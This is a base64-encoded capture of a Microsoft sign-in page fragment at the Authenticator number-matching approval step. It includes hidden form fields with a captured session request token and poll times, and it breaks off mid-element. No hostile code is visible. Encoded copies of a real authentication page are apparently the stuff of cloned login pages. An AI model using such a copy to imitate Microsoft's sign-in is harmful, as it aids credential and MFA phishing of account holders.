ICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIDwhLS0gL2tvIC0tPgogICAgPC9kaXY+CgkKCQoJPGRpdiBzdHlsZT0iZGlzcGxheTpub25lOyIgY2xhc3M9InNob3ctbWZhMi1jb2RlIHBhZ2luYXRpb24tdmlldyBhbmltYXRlIGhhcy1pZGVudGl0eS1iYW5uZXIgc2xpZGUtaW4tbmV4dCIgZGF0YS1iaW5kPSJjc3M6IHsKICAgICAgICBcJ2hhcy1pZGVudGl0eS1iYW5uZXJcJzogc2hvd0lkZW50aXR5QmFubmVyKCkgJmFtcDsmYW1wOyAoc2hhcmVkRGF0YS5kaXNwbGF5TmFtZSB8fCBzdnIuc1BPU1RfVXNlcm5hbWUpLAogICAgICAgIFwnemVyby1vcGFjaXR5XCc6IGhpZGVQYWdpbmF0ZWRWaWV3LmhpZGVTdWJWaWV3KCksCiAgICAgICAgXCdhbmltYXRlXCc6IGFuaW1hdGUoKSwKICAgICAgICBcJ3NsaWRlLW91dC1uZXh0XCc6IGFuaW1hdGUuaXNTbGlkZU91dE5leHQoKSwKICAgICAgICBcJ3NsaWRlLWluLW5leHRcJzogYW5pbWF0ZS5pc1NsaWRlSW5OZXh0KCksCiAgICAgICAgXCdzbGlkZS1vdXQtYmFja1wnOiBhbmltYXRlLmlzU2xpZGVPdXRCYWNrKCksCiAgICAgICAgXCdzbGlkZS1pbi1iYWNrXCc6IGFuaW1hdGUuaXNTbGlkZUluQmFjaygpIH0iPgoKICAgICAgICA8IS0tIGtvIGZvcmVhY2g6IHZpZXdzIC0tPgogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT4KICAgICAgICAgICAgICAgIDwhLS0ga28gdGVtcGxhdGU6IHsgbm9kZXM6IFskZGF0YV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48ZGl2IGRhdGEtdmlld2lkPSI2IiBkYXRhLXNob3dpZGVudGl0eWJhbm5lcj0idHJ1ZSIgZGF0YS1iaW5kPSJwYWdlVmlld0NvbXBvbmVudDogeyBuYW1lOiBcJ3Nlc3Npb24tYXBwcm92YWwtdmlld1wnLAogICAgICAgICAgICAgICAgICAgIHBhcmFtczogewogICAgICAgICAgICAgICAgICAgICAgICBzZXJ2ZXJEYXRhOiBzdnIsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbnRQcm9vZjogc2hhcmVkRGF0YS5zZW50UHJvb2YsCiAgICAgICAgICAgICAgICAgICAgICAgIHVzZXJuYW1lOiBzaGFyZWREYXRhLnVzZXJuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICBzdXBwb3J0c0JhY2s6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgICAgIGlzSW5pdGlhbFN0YXRlOiBpc0luaXRpYWxTdGF0ZSwKICAgICAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbklkZW50aWZpZXI6IHNoYXJlZERhdGEuc2Vzc2lvbklkZW50aWZpZXIsCiAgICAgICAgICAgICAgICAgICAgICAgIHNob3dDYW5jZWxCdXR0b246IHNoYXJlZERhdGEuc2hvd0NhbmNlbEJ1dHRvbiwKICAgICAgICAgICAgICAgICAgICAgICAgdHJ1c3RlZERldmljZUNoZWNrYm94Q29uZmlnOiBzaGFyZWREYXRhLnRydXN0ZWREZXZpY2VDaGVja2JveENvbmZpZywKICAgICAgICAgICAgICAgICAgICAgICAgY3VycmVudFBvbGxTdGFydFRpbWU6IHNoYXJlZERhdGEuY3VycmVudFBvbGxTdGFydFRpbWUsCiAgICAgICAgICAgICAgICAgICAgICAgIGN1cnJlbnRQb2xsRW5kVGltZTogc2hhcmVkRGF0YS5jdXJyZW50UG9sbEVuZFRpbWUsCiAgICAgICAgICAgICAgICAgICAgICAgIHR3b1dheVBvbGxpbmdOZWVkZWQ6IHNoYXJlZERhdGEudHdvV2F5UG9sbGluZ05lZWRlZCwKICAgICAgICAgICAgICAgICAgICAgICAgc2Vzc2lvbkFwcHJvdmFsRXJyb3I6IHNoYXJlZERhdGEuc2Vzc2lvbkFwcHJvdmFsRXJyb3IsCiAgICAgICAgICAgICAgICAgICAgICAgIGZsb3dUb2tlbjogc2hhcmVkRGF0YS5mbG93VG9rZW4sCiAgICAgICAgICAgICAgICAgICAgICAgIGVudHJvcHk6IHNoYXJlZERhdGEuZW50cm9weSB9LAogICAgICAgICAgICAgICAgICAgIGV2ZW50OiB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhbmNlbDogdmlld19vbkNhbmNlbCwKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlU2Vzc2lvbklkZW50aWZpZXI6ICR0ZmFQYWdlLnZpZXdfb25VcGRhdGVTZXNzaW9uSWRlbnRpZmllciwKICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlRmxvd1Rva2VuOiAkdGZhUGFnZS52aWV3X29uVXBkYXRlRmxvd1Rva2VuLAogICAgICAgICAgICAgICAgICAgICAgICBzdWJtaXRSZWFkeTogJHRmYVBhZ2Uudmlld19vblN1Ym1pdFJlYWR5IH0gfSI+PCEtLSAgLS0+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0eXBlIiBkYXRhLWJpbmQ9InZhbHVlOiBcJzIyXCciIHZhbHVlPSIyMiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlcXVlc3QiIGRhdGEtYmluZD0idmFsdWU6IHN2ci5zQ3R4IiB2YWx1ZT0iclFRSUFSQUFoVk5QaU9OMEZHN2FtZHJXWFhjWVJkY0ZZUTV6RURIdExfLVRnUVhUU1R0cFRkSnAwN1RUWG1yLXRtbVRfTkltYlpvZVBlMXhUZ3U3RjhIakhBVVgyWk5lNTdUSWdqRGlIb1M5RENpTElxd2dhRmZQaXdfZTR6Mi05dzZQN190S0JicU0wMldzREQ3SzRXVndkRWd5TkVXU2xJRVN1RW1qSkdjQWxDVnNHc1VzanRoQ09FT2ItbUtfdFBmb2d6dFhMXzZhbjl4XzlNZEo1WXZ4MHd2a1lCTEhZWFJVcVNSSlVvYU80NXAyMllSLXhkTUR5dzNHS193YkJIbUNJQS16dTNhQWF1cEZOcUlKRnVOSWptRUlCakRjTnFpeTNOY28yVy1ReXRTTVcwSnZvcWdBRExwalF0cm1ZTk9PRmNHYnRBU05IT0J5c3QzZEtINER5TjNxVE82TzQtR0pSaW9wQU1OdWJ5cDFKOTZnUDRpSFFudWo5RFZpaTFFS0xxLXZzcmRhX0RLZTRLOEtYTGdiLTdkczBZRUxmeFRDS0g2WXU1LVZOUFMwbzJfbXByTndyWGxmalVOMUpJdGE3TTFJM2gyUDBUYlhTanN0RGJQajFrd2RVWTFoa3p2ckJNa0tCb0tTZHVJZ1JLR2FzbXEzSzlXcXgyU3E2alg3MDZabXdHTXdJYWNTMzdBNUhrYlRsY2tLcThUZkVLbm5kTDB6ZXJoQUZWWmZlc2VhdmVCcmJ0MFoxaFRMVjlRcXJnVzRnVTNNZGwyd3p1cEE5SlVZempiU05QVGxvTDBlVUpiY0p0bC15QWhjYndRM3Jxb094TW5vaE1lWTNucmlFQUVfNWNtWlZ4MTRZVE5ZQUZwZlU5VzFaYlVFcGFhTFhnX1U2alZxWnR0aVkxNWZTcFFZaEhnTk4yMkRUYW5vMUFNWTFta3FTYlU1azhZWHVmZGZRLThLX3lxWDN6WS1EQjduRGgyYTRURE9NRkRNeGt5VXBHMGNOWEJPUndGRFc2VGpFSUNseWNzY0EwTTdjSzJEY0FFZDE3TmZwNXdWWG1uOU80blF0OHU4NV8yY085Uk5FeTZELUpQUTA5TXRiNWFqLTY2WC1yYmxtcnIzNnFxc0w1X3NJTmM3N3hieWUzZHVJd2VaRDk4QnVhTkNvYlNYdVowNXlMemNRYjdjM2VyM3dVLV9mdmZlbl9uR3ZkNFBiNTRfNzJjdWR5dEJBalctRnpXSEhWWnFLa0hMVDR4VnN1aEZJaGx0WWdPc2xXWFlYck05U1RHU3Utd1JkcDVIenZQNXkzeXhJWXlVV3BjZWdSZjU3TDAza01mRl8zWEM1emR1RmpMN3hXTGh1dmpaNzUwZnhhc2JiNWRLUzNma3dlMFRkclRfbjBPLXZabDUtZGIzZno5NDl2V3pwNy1JMTdjLTV2bFVJc1MxUjNCOVV1S0ktbG5vZDZDVDZMTGV4dFd3d2hqRC1Ta1RyUVRzT0xuN0R3MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1mYUxhc3RQb2xsU3RhcnQiIGRhdGEtYmluZD0idmFsdWU6IGN1cnJlbnRQb2xsU3RhcnRUaW1lIiB2YWx1ZT0iMTY4MzkwMDk0NjM1OCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1mYUxhc3RQb2xsRW5kIiBkYXRhLWJpbmQ9InZhbHVlOiBjdXJyZW50UG9sbEVuZFRpbWUiIHZhbHVlPSIxNjgzOTAwOTQ3NjU3Ij4KCjwhLS0ga28gaWY6IHR3b1dheVBvbGxpbmdOZWVkZWQgLS0+CiAgICA8IS0tIGtvIGlmOiBpc0NvbXBhbmlvbkFwcCAtLT48IS0tIC9rbyAtLT4KCiAgICA8IS0tIGtvIGlmbm90OiBpc0NvbXBhbmlvbkFwcCAtLT4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBkYXRhLWJpbmQ9ImF0dHI6IHsgbmFtZTogc3ZyLnNBdXRoTWV0aG9kSW5wdXRGaWVsZE5hbWUgfSwgdmFsdWU6IFwnUGhvbmVBcHBOb3RpZmljYXRpb25cJyIgbmFtZT0ibWZhQXV0aE1ldGhvZCIgdmFsdWU9IlBob25lQXBwTm90aWZpY2F0aW9uIj4KICAgIDwhLS0gL2tvIC0tPgo8IS0tIC9rbyAtLT4KCjxkaXYgaWQ9ImlkRGl2X1NBT1RDQVNfVGl0bGUiIGNsYXNzPSJyb3cgdGV4dC10aXRsZSIgcm9sZT0iaGVhZGluZyIgYXJpYS1sZXZlbD0iMSIgZGF0YS1iaW5kPSJ0ZXh0OiB0aXRsZSI+QXBwcm92ZSBzaWduIGluIHJlcXVlc3Q8L2Rpdj4KPGRpdiBjbGFzcz0icm93IHRleHQtYm9keSI+CiAgICA8ZGl2IGRhdGEtYmluZD0iY29tcG9uZW50OiB7IG5hbWU6IFwncHJvb2YtaW1hZ2UtY29udHJvbFwnLCBwYXJhbXM6IHsgdHlwZTogUFJPT0YuVHlwZS5UT1RQQXV0aGVudGljYXRvclYyLCBzbWFsbDogdHJ1ZSwgYW5pbWF0ZTogdHJ1ZSB9IH0iPjwhLS0gIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5FbWFpbCAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuU01TIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5U01TIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5U01TQWx0ZXJuYXRlTW9iaWxlIC0tPjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5Wb2ljZSB8fCB0eXBlID09PSBQUk9PRi5UeXBlLlR3b1dheVZvaWNlIHx8IHR5cGUgPT09IFBST09GLlR5cGUuVHdvV2F5Vm9pY2VBbHRlcm5hdGVNb2JpbGUgfHwgdHlwZSA9PT0gUFJPT0YuVHlwZS5Ud29XYXlWb2ljZU9mZmljZSAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuVE9UUEF1dGhlbnRpY2F0b3JWMiAtLT4KICAgIDwhLS0ga28gY29tcG9uZW50OiBcJ2FjY2Vzc2libGUtaW1hZ2UtY29udHJvbFwnIC0tPjwhLS0ga28gaWY6IChpc0hpZ2hDb250cmFzdEJsYWNrVGhlbWUgfHwgaGFzRGFya0JhY2tncm91bmQgfHwgc3ZyLmZIYXNCYWNrZ3JvdW5kQ29sb3IpICYmICFpc0hpZ2hDb250cmFzdFdoaXRlVGhlbWUgLS0+PCEtLSAva28gLS0+CjwhLS0ga28gaWY6IChpc0hpZ2hDb250cmFzdFdoaXRlVGhlbWUgfHwgKCFoYXNEYXJrQmFja2dyb3VuZCAmJiAhc3ZyLmZIYXNCYWNrZ3JvdW5kQ29sb3IpKSAmJiAhaXNIaWdoQ29udHJhc3RCbGFja1RoZW1lIC0tPgo8IS0tIGtvIHRlbXBsYXRlOiB7IG5vZGVzOiBbZGFya0ltYWdlTm9kZV0sIGRhdGE6ICRwYXJlbnQgfSAtLT48aW1nIGNsYXNzPSJ0aWxlLWltZyBzbWFsbCBhbmltYXRlLXB1bHNlIiByb2xlPSJwcmVzZW50YXRpb24iIHBuZ3NyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfYXV0aGVudGljYXRvcl85NDJhYzcxZjc3Y2IwNDAwNGIwYWIyNTk1MGUxNzBiNS5wbmciIHN2Z3NyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfZmx1ZW50X2F1dGhlbnRpY2F0b3JfYjU5YzE2Y2E5YmYxNTY0MzhhOGE5NmQ0NWUzM2RiNjQuc3ZnIiBkYXRhLWJpbmQ9ImltZ1NyYywgY3NzOiB7IFwnc21hbGxcJzogc21hbGwsIFwnYW5pbWF0ZS1wdWxzZVwnOiBhbmltYXRlIH0iIHNyYz0iaHR0cHM6Ly9hYWRjZG4ubXNhdXRoLm5ldC9zaGFyZWQvMS4wL2NvbnRlbnQvaW1hZ2VzL3BpY2tlcl92ZXJpZnlfZmx1ZW50X2F1dGhlbnRpY2F0b3JfYjU5YzE2Y2E5YmYxNTY0MzhhOGE5NmQ0NWUzM2RiNjQuc3ZnIj48IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+PCEtLSAva28gLS0+CjwhLS0gL2tvIC0tPgoKPCEtLSBrbyBpZjogdHlwZSA9PT0gUFJPT0YuVHlwZS5UT1RQQXV0aGVudGljYXRvciAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuRmlkb0tleSAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuQWNjZXNzUGFzcyAtLT48IS0tIC9rbyAtLT4KCjwhLS0ga28gaWY6IHR5cGUgPT09IFBST09GLlR5cGUuQ2VydGlmaWNhdGUgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiBzdnIuZkRpc3BsYXlDb21wYW5pb25BcHAgLS0+CiAgICA8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLkNvbXBhbmlvbkFwcCAtLT48IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJ0ZXh0LWJsb2NrLWJvZHkgb3ZlcmZsb3ctaGlkZGVuIj4KICAgICAgICA8ZGl2IGlkPSJpZERpdl9TQU9UQ0FTX0Rlc2NyaXB0aW9uIiBkYXRhLWJpbmQ9Imh0bWxXaXRoQmluZGluZ3M6IGRlc2NyaXB0aW9uLCBjaGlsZEJpbmRpbmdzOiB7IFwnaWRTcGFuX1NBT1RDQVNfRGVzY1Nlc3Npb25JRFwnOiB7IGNzczogeyBcJ2JvbGRcJzogdHJ1ZSB9IH0gfSI+T3BlbiB5b3VyIEF1dGhlbnRpY2F0b3IgYXBwLCBhbmQgZW50ZXIgdGhlIG51bWJlciBzaG93biB0byBzaWduIGluLjwvZGl2PgogICAgICAgIDwhLS0ga28gaWY6IGRlc2NyaXB0aW9uMiAtLT48IS0tIC9rbyAtLT4KICAgIDwvZGl2Pgo8L2Rpdj4KCjwhLS0ga28gaWY6IGRpc3BsYXlTaWduIC0tPgo8ZGl2IGNsYXNzPSJzZWN0aW9uIj4KICAgIDxkaXYgY2xhc3M9InJvdyB0ZXh0LWJvZHkiPgogICAgICAgIDxkaXYgaWQ9ImlkUmljaENvbnRleHRfRGlzcGxheVNpZ24iIGNsYXNzPSJkaXNwbGF5U2lnbiIgZGF0YS1iaW5kPSJ0ZXh0OiBkaXNwbGF5U2lnbiI+PC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGNsYXNzPSJyb3cgdGV4dC1ib2R5Ij4KICAgIDxkaXYgY2xhc3M9InJpY2h0ZXh0LXdhcm5pbmciIGRhdGEtYmluZD0idGV4dDogc3RyW1wnQ1RfU0FPVENSQ19TVFJfTWlzc2luZ19OdW1iZXJzXCddIj5ObyBudW1iZXJzIGluIHlvdXIgYXBwPyBNYWtlIHN1cmUgdG8gdXBncmFkZSB0byB0aGUgbGF0ZXN0IHZlcnNpb24uPC9kaXY+CjwvZGl2Pgo8IS0tIC9rbyAtLT4KCjxkaXY+CiAgICA8IS0tIGtvIGlmOiBkb1BvbGxpbmcgLS0+PCEtLSAva28gLS0+CjwvZGl2PgoKPGRpdiBkYXRhLWJpbmQ9ImNzczogeyBcJ3Bvc2l0aW9uLWJ1dHRvbnNcJzogIXRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCB9IiBjbGFzcz0icG9zaXRpb24tYnV0dG9ucyI+CiAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgIDxkaXYgY2xhc3M9InJvdyBuby1tYXJnaW4tdG9wLWJvdHRvbSIgZGF0YS1iaW5kPSJ2aXNpYmxlOiB0ZENoZWNrYm94LmlzU2hvd24iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yNCBmb3JtLWdyb3VwIG5vLW1hcmdpbi10b3AgY2hlY2tib3giPgogICAgICAgICAgICAgICAgPGxhYmVsIGlkPSJpZExibF9TQU9UQ0FTX1REX0NiIj4KICAgICAgICAgICAgICAgICAgICA8IS0tIFNldCBhdHRyIGJpbmRpbmcgYmVmb3JlIGhhc0ZvY3VzRXggdG8gcHJldmVudCBOYXJyYXRvciBmcm9tIGxvc2luZyBmb2N1cyAtLT4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9ImlkQ2hrQnhfU0FPVENBU19URCIgdHlwZT0iY2hlY2tib3giIHZhbHVlPSJ0cnVlIiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgICAgICBhdHRyOiB7IG5hbWU6IHN2ci5zVHJ1c3RlZERldmljZUNoZWNrYm94TmFtZSB9LAogICAgICAgICAgICAgICAgICAgICAgICBhcmlhTGFiZWw6IHN0cltcJ0NUX1NBT1RDQVNfU1RSX0FkZFREXCddLAogICAgICAgICAgICAgICAgICAgICAgICBhcmlhRGVzY3JpYmVkQnk6IFtcJ2lkRGl2X1NBT1RDQVNfVGl0bGVcJywgXCdpZERpdl9TQU9UQ0FTX0Rlc2NyaXB0aW9uXCddLmNvbmNhdChkZXNjcmlwdGlvbjIgPyBbXCdpZERpdl9SaWNoQ29udGV4dF9EZXNjcmlwdGlvblwnXSA6IFtdKS5qb2luKFwnIFwnKSwKICAgICAgICAgICAgICAgICAgICAgICAgaGFzRm9jdXNFeDogdGRDaGVja2JveC5pc1Nob3duLAogICAgICAgICAgICAgICAgICAgICAgICBjaGVja2VkOiB0ZENoZWNrYm94LmlzQ2hlY2tlZCwKICAgICAgICAgICAgICAgICAgICAgICAgZGlzYWJsZTogdGRDaGVja2JveC5pc0Rpc2FibGVkIiBuYW1lPSJyZW1lbWJlck1GQSIgYXJpYS1sYWJlbD0iRG9uXCd0IGFzayBhZ2FpbiBmb3IgdW5kZWZpbmVkIGRheXMiIGFyaWEtZGVzY3JpYmVkYnk9ImlkRGl2X1NBT1RDQVNfVGl0bGUgaWREaXZfU0FPVENBU19EZXNjcmlwdGlvbiI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gZGF0YS1iaW5kPSJ0ZXh0OiBzdHJbXCdDVF9TQU9UQ0FTX1NUUl9BZGRURFwnXSI+RG9uXCd0IGFzayBhZ2FpbiBmb3IgdW5kZWZpbmVkIGRheXM8L3NwYW4+CiAgICAgICAgICAgICAgICA8L2xhYmVsPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTI0Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtMTMiPgogICAgICAgICAgICAgICAgICAgIDwhLS0ga28gaWY6IHNob3dTd2l0Y2hQcm9vZnNMaW5rIC0tPgogICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImlkRGl2X1NBT1RDU19IYXZpbmdUcm91YmxlIiBjbGFzcz0iZm9ybS1ncm91cCIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNzczogeyBcJ25vLW1hcmdpbi1ib3R0b21cJzogIXN2ci51cmxNb3JlSW5mbyB9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgaHRtbFdpdGhCaW5kaW5nczogdG9nZ2xlVGV4dCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoaWxkQmluZGluZ3M6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcJ3NpZ25JbkFub3RoZXJXYXlcJzogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGljazogc3dpdGNoVG9PdGNSZXF1ZXN0X29uQ2xpY2ssCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc0ZvY3VzRXg6ICF0ZENoZWNrYm94LmlzU2hvd24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWFEZXNjcmliZWRCeTogW1wnaWREaXZfU0FPVENBU19UaXRsZVwnLCBcJ2lkRGl2X1NBT1RDQVNfRGVzY3JpcHRpb25cJ10uY29uY2F0KGRlc2NyaXB0aW9uMiA/IFtcJ2lkRGl2X1JpY2hDb250ZXh0X0Rlc2NyaXB0aW9uXCddIDogW10pLmpvaW4oXCcgXCcpIH0gfSI+PGEgaHJlZj0iIyIgaWQ9InNpZ25JbkFub3RoZXJXYXkiIGFyaWEtZGVzY3JpYmVkYnk9ImlkRGl2X1NBT1RDQVNfVGl0bGUgaWREaXZfU0FPVENBU19EZXNjcmlwdGlvbiI+SSBjYW5cJ3QgdXNlIG15IE1pY3Jvc29mdCBBdXRoZW50aWNhdG9yIGFwcCByaWdodCBub3c8L2E+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPCEtLSAva28gLS0+CgogICAgICAgICAgICAgICAgICAgIDwhLS0ga28gaWY6IHN2ci51cmxNb3JlSW5mbyAtLT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIG5vLW1hcmdpbi1ib3R0b20iPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBpZD0ibW9yZUluZm9VcmwiIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwczovL2dvLm1pY3Jvc29mdC5jb20vZndsaW5rL3AvP0xpbmtJZD03MDg2MTQiIGRhdGEtYmluZD0idGV4dDogc3RyW1wnQ1RfU1RSX01vcmVfSW5mb1wnXSwgaHJlZjogc3ZyLnVybE1vcmVJbmZvLCBhcmlhTGFiZWw6IHN0cltcJ0NUX1NUUl9Nb3JlX0luZm9fQXJpYUxhYmVsXCddIiBhcmlhLWxhYmVsPSJNb3JlIGluZm9ybWF0aW9uIGFib3V0IHR3byBzdGVwIHZlcmlmaWNhdGlvbiI+TW9yZSBpbmZvcm1hdGlvbjwvYT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8IS0tIC9rbyAtLT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9Indpbi1idXR0b24tcGluLWJvdHRvbSIgZGF0YS1iaW5kPSJjc3MgOiB7IFwnYm9pbGVycGxhdGUtYnV0dG9uLWJvdHRvbVwnOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgfSI+CiAgICAgICAgPGRpdiBjbGFzcz0icm93IiBkYXRhLWJpbmQ9ImNzczogeyBcJ21vdmUtYnV0dG9uc1wnOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgfSI+CiAgICAgICAgICAgIDxkaXYgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdmb290ZXItYnV0dG9ucy1maWVsZFwnLAogICAgICAgICAgICAgICAgcGFyYW1zOiB7CiAgICAgICAgICAgICAgICAgICAgc2VydmVyRGF0YTogc3ZyLAogICAgICAgICAgICAgICAgICAgIGlzUHJpbWFyeUJ1dHRvblZpc2libGU6IGZhbHNlLAogICAgICAgICAgICAgICAgICAgIGlzU2Vjb25kYXJ5QnV0dG9uVmlzaWJsZTogIXNob3dTd2l0Y2hQcm9vZnNMaW5rLAogICAgICAgICAgICAgICAgICAgIHNlY29uZGFyeUJ1dHRvblRleHQ6IHN0cltcJ0NUX1NBT1RDQ19TVFJfQ2FuY2VsXCddIH0sCiAgICAgICAgICAgICAgICBldmVudDogewogICAgICAgICAgICAgICAgICAgIHNlY29uZGFyeUJ1dHRvbkNsaWNrOiBzZWNvbmRhcnlCdXR0b25fb25DbGljayB9IH0iPjxkaXYgY2xhc3M9ImNvbC14cy0yNCBuby1wYWRkaW5nLWxlZnQtcmlnaHQgYnV0dG9uLWNvbnRhaW5lciBidXR0b24tZmllbGQtY29udGFpbmVyIGV4dC1idXR0b24tZmllbGQtY29udGFpbmVyIiBkYXRhLWJpbmQ9IgogICAgdmlzaWJsZTogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSgpIHx8IGlzU2Vjb25kYXJ5QnV0dG9uVmlzaWJsZSgpLAogICAgY3NzOiB7IFwnbm8tbWFyZ2luLWJvdHRvbVwnOiByZW1vdmVCb3R0b21NYXJnaW4gfSwKICAgIGV4dGVybmFsQ3NzOiB7IFwnYnV0dG9uLWZpZWxkLWNvbnRhaW5lclwnOiB0cnVlIH0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgogICAgPCEtLSBrbyBpZjogaXNTZWNvbmRhcnlCdXR0b25WaXNpYmxlIC0tPjwhLS0gL2tvIC0tPgoKICAgIDxkaXYgZGF0YS1iaW5kPSJjc3M6IHsgXCdpbmxpbmUtYmxvY2tcJzogaXNQcmltYXJ5QnV0dG9uVmlzaWJsZSB9LCBleHRlcm5hbENzczogeyBcJ2J1dHRvbi1pdGVtXCc6IHRydWUgfSIgY2xhc3M9ImJ1dHRvbi1pdGVtIGV4dC1idXR0b24taXRlbSI+CiAgICAgICAgPCEtLSB0eXBlPSJzdWJtaXQiIGlzIG5lZWRlZCBpbi1hZGRpdGlvbiB0byBcJ3R5cGVcJyBpbiBwcmltYXJ5QnV0dG9uQXR0cmlidXRlcyBvYnNlcnZhYmxlIHRvIHN1cHBvcnQgSUU4IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGlkPSJpZFNJQnV0dG9uOSIgY2xhc3M9Indpbi1idXR0b24gYnV0dG9uX3ByaW1hcnkgYnV0dG9uIGV4dC1idXR0b24gcHJpbWFyeSBleHQtcHJpbWFyeSIgZGF0YS1yZXBvcnQtZXZlbnQ9IlNpZ25pbl9TdWJtaXQiIGRhdGEtcmVwb3J0LXRyaWdnZXI9ImNsaWNrIiBkYXRhLXJlcG9ydC12YWx1ZT0iU3VibWl0IiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgYXR0cjogcHJpbWFyeUJ1dHRvbkF0dHJpYnV0ZXMsCiAgICAgICAgICAgICAgICBleHRlcm5hbENzczogewogICAgICAgICAgICAgICAgICAgIFwnYnV0dG9uXCc6IHRydWUsCiAgICAgICAgICAgICAgICAgICAgXCdwcmltYXJ5XCc6IHRydWUgfSwKICAgICAgICAgICAgICAgIHZhbHVlOiBwcmltYXJ5QnV0dG9uVGV4dCgpIHx8IHN0cltcJ0NUX1BXRF9TVFJfU2lnbkluX0J1dHRvbl9OZXh0XCddLAogICAgICAgICAgICAgICAgaGFzRm9jdXM6IGZvY3VzT25QcmltYXJ5QnV0dG9uLAogICAgICAgICAgICAgICAg